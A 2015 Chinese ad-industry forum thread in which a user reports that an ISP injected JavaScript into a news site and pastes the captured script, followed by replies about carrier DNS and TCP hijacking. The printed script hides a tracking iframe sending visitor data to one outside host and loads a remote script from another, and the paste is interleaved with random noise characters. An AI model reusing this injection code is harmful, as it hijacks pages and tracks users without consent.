AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

Adsterra China
 谷歌+Bing+TT+MSN官方代理 
⚡️按条S5代理⚡️静态⚡️独享⚡️5G皇家代理IP⚡️#1性价比⚡️指纹浏览器,就用AdsPower
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
FB BM不限额,短id账单户E.PN 虚拟卡DuoPlus专注打造跨境电商云手机BINOM TRACKER 60% OFF!
比Adplexity还好用的Spy工具ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理虚拟信用卡+独立站收款
全球虚拟卡, 支持U充值Facebook 批量上广告尤里改 - FB 稳定投放免费黑五教程(持续更新、欢迎交流)
FB 三不限源头 - 自助下户充值转款各种主页、账单户、BM户(优势)⚡️个人户,bm户不限额,账单户Google、Bing官方总代  联盟流量开户
FB资源,账单户,分享户,国内一手FB企业户BM户账单户源头海外CL企业户源头PTM全球虚拟卡—进来交个朋友!
PTM虚拟卡⚡️费率透明⚡️额度随心FB虚拟卡⚡️消费越多返现越多虚拟卡 - Pay2.House【找量】BA独家Nutra单找量
广告位出租8500万高质量住宅IP,助力各种需求虚拟卡返佣1%,国内持牌机构 
查看: 8423|回复: 12

[闲聊] 上网奇遇记

[复制链接]

44

主题

771

广告币

1423

积分

高级会员

Rank: 4

积分
1423
发表于 2015-2-3 00:52:03 | 显示全部楼层 |阅读模式
Lemft
本帖最后由 hudba 于 2015-2-3 00:56 编辑
+ H5 Y* ]  c6 j: ~2 ?
. Y8 i9 p: f% Q  M8 A1 _; I上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了* J/ b$ S5 \8 ?$ \9 d2 Z
2 M" F8 m: @& o' q( O
接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}, [% Q9 ]% F; I0 _
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
http://www.v2ex.com/t/142197

7 Z9 ~0 r) c: p2 l# U: ~. [# G! Q( E: p  d
顺便查下ip138:
( T0 A7 P3 i% u6 z: F
& `3 f* k/ l5 v1 w8 W% H这是那段js里面的代码,好象是个半成品还没写入广告数据:
" y, ?7 P' {7 u: y( i. _5 P
  1. function locationSearch() {4 a+ V* h: [( }, l7 {. M# j! H
  2.         var s = getMainJs();2 |9 f5 r0 k3 y# D) V1 `% F' l( S, ]; R
  3.         if (s == null) {
    * u0 G6 L! P! f' x* |1 W
  4.                 location.reload();
    / s3 T. s( X' h* Q. e% C+ `: H1 S
  5.         }
    3 N3 p1 z3 q) `! L8 I
  6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
    ( g! n* U5 h3 a- b
  7. }
    ( N( z3 A, ]- K1 H
  8. 1 m9 U/ {' J2 g- W# V' g6 S9 z
  9. function getParameter(name, paraStr) {
      j5 P" a: l( K* P
  10.         var result = "";
    ! z$ g" |& S+ u- n1 p$ G& Z
  11.         var str = "&" + paraStr.split("?")[1];0 D5 j4 F% Z6 T% d. Z0 u* N7 F
  12.         var paraName = "&" + name + "=";
    * Y; s8 Z/ `5 x) B5 S6 \
  13.         if (str.indexOf(paraName) != -1) {1 C* V7 S% {" j4 _* P
  14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    0 F3 R3 I) I4 P8 {# m/ l
  15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    # O8 r, N& r! u* U! }* Z8 A
  16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(2 N) A( p! N' g# y8 T% M2 y
  17.                                         1, TmpStr.length).indexOf("&")1 ?8 _) d& N4 E, w% ^! I5 P
  18.                                         - TmpStr.indexOf(paraName) + 1);
    ! o, U2 u/ {3 \) Y2 |
  19.                 } else {
    + s2 Y6 T& F: |4 @2 B  ~
  20.                         result = str.substring(str.indexOf(paraName), str.length);
    ) _* C5 x! U9 j# H
  21.                 }
    ; D" k! Z; l3 Q
  22. 7 ^4 [3 w) W6 {
  23.                 result = result.substring(result.indexOf("=") + 1, result.length);( a4 J% c$ S4 n/ l' X4 g
  24.         } else {
    ! E# R9 b3 D0 B; V  v8 O. v
  25.                 result = "No such parameter";/ t$ U8 [6 ?3 ]: u( S
  26.         }" y" G: I$ s: u, S
  27.         return (result.replace("&", ""));
    ( g& t8 ^* D( b9 ?" c! f
  28. }7 B" G1 N; w6 E; G! b. R; R
  29. ( p( D" Q  U. M  E6 n
  30. function getMainJs() {) [4 v& r$ T1 l2 s
  31.         var scripts = document.getElementsByTagName("script");* d* e% @/ a0 K1 y! |0 l
  32.         var s = null;
    # O. \# m1 l% v
  33.         for (var i = 0; i < scripts.length; i++) {" q7 q% [3 n- H9 Y8 p. z: p
  34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    6 j! ]0 e  D0 R
  35.                         s = scripts[i];
    1 @/ N8 c" L5 Q% k* J
  36.                         break;
    . q" J. ^" U# {2 O. M
  37.                 }
    5 a5 ~, C9 T# m' q; @/ I* R
  38.         }! U; }0 ?8 J. T7 H5 z# `( s
  39.         return s;
    7 Q' T9 J+ n7 c
  40. }
    , U. U% Z. W) l4 R% F: X# h

  41. 7 E; C" K+ K' J; J5 G- m; a
  42. function appendParam(oStr, aStr) {
    7 w) s4 l9 q1 K' F; v
  43.         if (oStr.indexOf('?') > 0) {8 R% ]- R# L! r) A( j$ \4 A
  44.                 oStr = oStr + "&" + aStr;4 P/ L* q# v" \# Q( H! O) d- n
  45.         } else {
    1 O7 G  S8 D7 @2 b; S
  46.                 oStr = oStr + "?" + aStr;8 }* C, }. S. f6 c) P/ h' {" N
  47.         }
    6 p7 z0 Z+ t2 ?
  48.         return oStr;! y5 @3 p5 r" I' u* y! B; S
  49. }
    % t( m7 W/ T  u

  50. 1 b; E0 I4 o3 b
  51. window.onerror = function() {
    ) |: i4 @3 M0 f3 p
  52. };
    7 y4 g# {& A) }4 K) ?* E0 Q
  53. 5 o1 U. p  V! ~* r
  54. var g_titleTime = 0;
    9 G: \0 l0 s& `
  55. function setTcTitle() {; y9 C' i8 n5 u
  56.         if (undefined == document) {
    ! B$ W) V6 [) v) V6 |6 L' @
  57.                 g_titleTime++;
      K/ ~2 e7 n' S4 @
  58.                 setTimeout("setTcTitle();", 1000);
    2 I- u1 l2 r% C! V9 B) e
  59.                 return;8 a+ B/ B( a/ `% j
  60.         }2 d& Q6 t5 S! x9 i5 s  t9 {- v

  61. 4 {3 Z+ k0 g3 N& W, V
  62.         var doc;3 z+ g: ^+ P0 b
  63.         try {, J4 Y/ A+ N; e" J( s3 R2 s! K1 [
  64.                 if (document.all) {
    2 M, Y+ y6 E8 _& {# ?1 k5 i* L
  65.                         doc = document.frames["cn"].document;
    & v7 y3 A+ |& n; Z" m4 V, u
  66.                 } else {
    6 v1 t; K& V4 c4 G
  67.                         doc = document.getElementById("cn").contentDocument;0 Y" }) ?0 V7 M# a0 O& }
  68.                 }' ?, }' p7 [5 j7 S6 r4 ]
  69.         } catch (ex) {
    $ V/ b6 ]& ]" U" P
  70.         }
    9 p3 g9 v4 |# V3 ?% q
  71. ( B; }  d% I6 B6 ?: b
  72.         if (g_titleTime < 59 Z" [+ {1 J6 {( \2 R5 D
  73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {2 J$ F5 E/ T& X! W. u1 l# q5 Q
  74.                 g_titleTime++;3 ^# l1 j; z) b: v1 w/ |% i/ r  Z+ @
  75.                 setTimeout("setTcTitle();", 1000);
    * w8 I+ f  g  I6 I& u, o
  76.                 return;6 O# I* ~3 r+ R" B* s, @2 I+ j/ x2 J
  77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {- ~8 v2 {3 |- C8 X, o  I& b4 T
  78.                 document.title = doc.title;4 a5 F. ~( h# Q1 I
  79.                 setTcAdvVisible();& P- Z4 R1 c2 R3 C& B  x
  80.         }+ c+ Y0 d# @" Y- ^4 ]3 _1 b+ ]
  81. }6 K& m. X* n- C* d  {2 {8 j

  82. - K' c) {% y3 V' a! ^
  83. setTimeout("setTcTitle();", 1000);0 e" n+ \1 B7 Y3 J* w/ N1 C
  84. ' D' N& C  t; A2 s$ n
  85. var g_isHaveVisible = false;8 k  |+ R1 t4 J- l* u
  86. function setTcAdvVisible() {% b1 V. n/ c, [) }# A% |
  87.         if (undefined != document && undefined != document.getElementById("addiv"), ~1 D! y+ g3 ]$ `3 A1 K$ @) B+ `
  88.                         && !g_isHaveVisible) {* n" n. p4 g% n; M5 P; Q' G! @
  89.                 document.getElementById("addiv").style.visibility = 'visible';) P4 [! t2 L) t* m
  90.                 document.getElementById("addiv").style.display = 'block';
    1 ~! Q1 W+ y4 M1 f" X
  91.                 g_isHaveVisible = true;
    8 E( L" w6 ~7 b
  92.         }, ?0 v" ~7 F. v( O: |0 J
  93. }
    2 y' l. j* j2 x9 Y
  94.   q* H( p0 {6 r  c; N7 b
  95. function UrlAnalyzer() {
    3 M$ y6 r: }& V! Y) x% b, F
  96.         this.divda = "";
    ) y% [& W% z* R/ [0 N+ U4 {
  97.         this.tctype = "";
      d. Q8 {: o) w- }2 B( l4 y
  98.         this.radius = "";' u* n' J1 V' ~3 G* {  R$ I6 |( g1 Y2 x
  99.         this.rlu = "";
    ; J1 Z# N, V  V0 ^
  100. }
    5 ?: i: L, B) B  K1 K! F5 n8 Q1 r( {

  101. ! a" w$ J: y/ r  R+ G5 d# F
  102. UrlAnalyzer.prototype.initParameters = function() {
    ( _7 o6 Q1 E: L  i6 a
  103.         var paraStr = locationSearch();
    ! s2 T& y1 ~/ d1 |, b9 J, Q
  104.         this.rlu = getParameter("lruedct", paraStr);2 z6 k3 s6 G. \/ P) l# `1 k
  105.         this.divda = getParameter("divda", paraStr);& L, u7 x6 r" R3 K  U
  106.         this.radius = getParameter("radius", paraStr);; K9 X) Z9 |5 q9 s% ^3 `
  107.         this.tctype = getParameter("tctype", paraStr);% I6 U4 h# Z9 {/ E% Q! l
  108.         this.address = getParameter("address", paraStr);
    6 `) ~! M& t* g" A/ V
  109.         this.usagent = getParameter("usagent", paraStr);
    0 n+ j2 y4 k- |7 J. y8 ^: a7 u
  110. }
    " `+ c* o6 b- E: _2 a1 @/ C) I
  111. 3 M+ a  b9 z+ J: Q4 `6 J
  112. UrlAnalyzer.prototype.getHtmlDoc = function() {3 g' b& Y, R: d' N. W  }
  113.         var doc;/ u! @& f( u! Z
  114.         try {
    ; N5 S( l" k- C; ]
  115.                 if (document.all) {7 {, r) W. U5 q. [  g! T! `, p8 m
  116.                         doc = document.frames["cn"].document;
    & b! w6 @4 X/ n- m" K
  117. ) E9 ]2 P, r4 i/ l; v7 g
  118.                 } else {8 ~# [6 S" h" C# h; a. Y
  119.                         doc = document.getElementById("cn").contentDocument;
    9 x0 t4 x$ `# n0 q
  120.                         // doc = document.getElementById("cn").contentWindow.document;
    1 C4 c0 p; S! a" Q& ^
  121.                 }
    % g7 K) c# n0 V! D# A' _
  122.         } catch (ex) {
    - t% o; s5 O! K# }
  123.         }
    4 y! D( b  x8 d+ j$ G
  124.         return doc;3 o. a8 C: ]  f5 S
  125. }: L5 P) p' n8 E/ E, u0 T

  126. 1 O* G" y# B+ x0 ]; k3 Q8 r/ N& v
  127. UrlAnalyzer.prototype.setDomain = function() {
    9 B* a* H( u6 v- C$ I2 _. [
  128.         if (undefined != document.title && "" == document.title)% ^/ ]$ c' @2 ~  |3 q, x0 {$ j' y1 a
  129.         {
    2 Y; `3 r2 c" g0 v
  130.                 var index = document.domain.indexOf(".");
    1 G9 r5 a% @6 G
  131.                 if (undefined != index && -1 != index) {
    / ]! i! k+ G/ H
  132.                         document.domain = document.domain.substring(index + 1,
    # A8 I" N6 l1 h" p0 ?
  133.                                         document.domain.length);
    ; f0 Y4 {. P4 K5 b! [7 ~" l. A4 q
  134.                 }0 k. d3 f3 t- V- c9 {
  135.                 8 j  C5 A8 \" ]* ^; m
  136.                 var doc = this.getHtmlDoc();# ?6 @8 X% ?3 b
  137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
    + |  L; V# _! r( u5 ]
  138.                         document.title = doc.title;
    * r# W: Q3 l$ s- a5 n
  139.                         setTcAdvVisible();" |3 E( B" U, W7 e# O5 N' @) Z* C( r
  140.                 }9 h9 l) E" h% U
  141.         }
    # B" b( R) U1 z% W! v
  142. }
    3 k3 {, P* S( `$ o% U+ F6 |) D# z
  143. ( p% x( f& ]* V3 G6 B) I
  144. UrlAnalyzer.prototype.iframeCallback = function() {; |! ]7 d& r" i8 }& `3 F5 o( q5 K( E
  145.         var doc = this.getHtmlDoc();+ t1 C& v# a, c4 I9 i" ^4 q7 p
  146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
    4 q0 k; N, f9 `2 v5 t! a
  147.                 if (undefined != document.domain) {
    & t! i/ d$ F8 P6 w

  148. 1 t; M/ o; m) L  a+ f% `( O
  149.                         var self = this;
    . s; t6 w3 H% i& ?* D
  150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
    9 l" g7 U9 G! S5 B6 E  t8 `$ E! `
  151.                         // var index = document.domain.indexOf(".");  U' x$ x6 w3 u) n4 J8 y# r
  152.                         // if (undefined != index && -1 != index) {# u$ d4 L/ U( D+ n9 J+ y
  153.                         // document.domain = document.domain.substring(index + 1,
    5 r; E# O1 Q1 j' l
  154.                         // document.domain.length);
    ! r% `7 N# B. ?
  155.                         // }/ ~& r1 |! S2 y# Z/ [
  156.                         //& B7 q# t9 Y9 K" C
  157.                         // var doc = this.getHtmlDoc();
    % V/ I9 T* l$ _: b' W( R7 ]
  158.                         // if (undefined != doc && undefined != doc.title && "" !=7 i' o4 X' p+ i: t- W( D) y8 C
  159.                         // doc.title) {) i- }& n0 K5 i/ z2 ~
  160.                         // document.title = doc.title;4 k& {2 n2 Z8 H
  161.                         // setTcAdvVisible();
    % m& f( r! {5 W6 P$ o
  162.                         // }  M/ c2 C, i; }5 ~/ |
  163.                 }
    $ ~) |" b1 y1 E! w' M0 C) C3 _
  164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {1 Z' v! j& j- o, P% s: w/ i: k
  165.                 document.title = doc.title;
    + e: E+ o" k1 ^+ p; y/ i1 L
  166.                 setTcAdvVisible();
    + z; [  @+ A# V/ V' h9 h
  167.         }
    ' e* T2 [1 S- V# _
  168. }
    & k( M! N; b$ B9 U6 ^6 A
  169. ! {( {" T9 X7 B) x
  170. UrlAnalyzer.prototype.executeHtmlContext = function() {& e. K/ Y/ W, c, t
  171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda# v8 E7 Y# b+ {; ^/ q- b3 l0 u
  172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;+ W- U0 a  H& r1 j# e8 h. T4 W

  173. " F% Q# u8 t4 f1 r4 K! P" ~0 ]
  174.         var htmlStr = "<iframe src="" + staUrl$ s  e5 [, b& `: ]( D) R0 v
  175.                         + "" style="display:none"></iframe>";
    / W7 u" o9 C6 C% ], A7 F
  176. * P" Y  v3 _9 ~+ S0 o
  177.         var advUrl = htmlStr$ }5 H% @; Q( C) R4 s
  178.                         + "<script src="http://c2.sxite.com:8060/center?advId="' D( [: J+ C) I% G9 U6 w/ k9 }
  179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
    1 t! p' f; g+ K7 {- ~7 z1 \
  180.         document.write(advUrl);$ I8 F! k. M1 q* I, }) ?! S9 h* ?5 q
  181. ( K# K% {8 O8 O0 U
  182.         var self = this;
    # `1 G1 i/ H5 a( l. J1 M
  183.         var iframe = document.getElementById("cn");$ ]( _: ~' S& Z8 j2 ]* i0 O. }
  184.         if (iframe.attachEvent) {, r4 K- a, _8 e8 q( }; A  ]
  185.                 iframe.attachEvent("onload", function() {" L1 S% E! e: k% E/ d4 }9 s
  186.                         self.iframeCallback.call(self, null);
    0 V- D/ v/ l* ?$ y0 N4 v6 @
  187.                 });- o6 v9 I% |, w0 s( P0 o% q
  188.         } else {# f  A7 A- o2 h" s' L: H
  189.                 iframe.onload = function() {
    3 N1 Q. O- z/ ?" ?+ _! f3 e
  190.                         self.iframeCallback.call(self, null);5 P6 R5 r: @6 G8 l  ]
  191.                 }+ q$ C/ r- o9 z3 S# Q3 S) u
  192.         }
    6 C6 t9 q# ~7 ~5 a3 C
  193. }
    ( M, r& _& g% n1 e  B

  194. ( f( Y( F: Q" X
  195. UrlAnalyzer.prototype.executeMain = function() {7 y( p1 x& ~- S! v7 _9 z' [
  196.         var mainFrame = document.getElementById("cn");+ x& a+ {- S2 g3 ^* A- o5 ~' ]! x
  197.         mainFrame.contentWindow.location.href = mainFrame.src;6 }% N5 \, }/ ^( }6 J
  198.         this.initParameters();
    $ X$ H* n, H; J# c( A2 q
  199.         this.executeHtmlContext();
    0 P8 ?/ q2 R0 P- T% _0 T
  200. }1 c' d/ X9 ^, f4 g( j" {

  201. % h7 l5 Z: q" ]
  202. var g_analyzer = new UrlAnalyzer();
    / r; Q# k2 O0 m! x2 n9 G2 D
  203. g_analyzer.executeMain();& O( U$ G8 [( I+ @4 C! l7 O
复制代码

8 V2 Q' ]: u3 x+ z! ~5 T9 y" _
! e, J( B. I4 O. o" B$ a; A# d" f. U8 C  [9 P9 T0 M

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
相关帖子
回复

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 01:33:54 | 显示全部楼层
回复 支持 反对

使用道具 举报

51

主题

450

广告币

836

积分

中级会员

Rank: 3Rank: 3

积分
836
发表于 2015-2-3 04:58:09 | 显示全部楼层
我在想有没有大牛会去干电信那个网页,那就发啦。哈哈
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-3 09:49:12 | 显示全部楼层
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

点评

TCP劫持,换DNS也不管用的。  详情 回复 发表于 2015-2-3 21:26
回复 支持 反对

使用道具 举报

26

主题

347

广告币

594

积分

中级会员

Rank: 3Rank: 3

积分
594
发表于 2015-2-3 09:49:33 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

使用道具 举报

22

主题

1729

广告币

2027

积分

高级会员

Rank: 4

积分
2027
发表于 2015-2-3 13:12:15 | 显示全部楼层
电信DNS劫持不是一天两天了。国家垄断企业,没人能管”。。。
回复 支持 反对

使用道具 举报

1

主题

70

广告币

498

积分

中级会员

Rank: 3Rank: 3

积分
498
发表于 2015-2-3 14:24:00 | 显示全部楼层
我这段时间也遇到了,投诉了两次,这几天没出现了,再出现继续投诉
回复 支持 反对

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 21:26:11 | 显示全部楼层
阿百川 发表于 2015-2-3 09:49
. T7 e* t. @/ R* S+ o所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...
$ o5 U3 \& W9 H; t; H. l: A
TCP劫持,换DNS也不管用的。

点评

正解。  发表于 2015-2-3 21:43
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-4 07:36:43 | 显示全部楼层
ads419 发表于 2015-2-3 21:26, ]3 N" W' H  z  b1 _
TCP劫持,换DNS也不管用的。

2 m  Z' V" f  L5 N' V幸好联通还木有这么强的技术

点评

联通也一样,各地不同罢了。  发表于 2015-2-4 10:07
回复 支持 反对

使用道具 举报

12

主题

915

广告币

1212

积分

高级会员

Rank: 4

积分
1212

社区QQ达人

发表于 2015-2-4 20:47:04 | 显示全部楼层
在国内,习惯就好
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2025-7-17 04:41 , Processed in 0.054960 second(s), 15 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表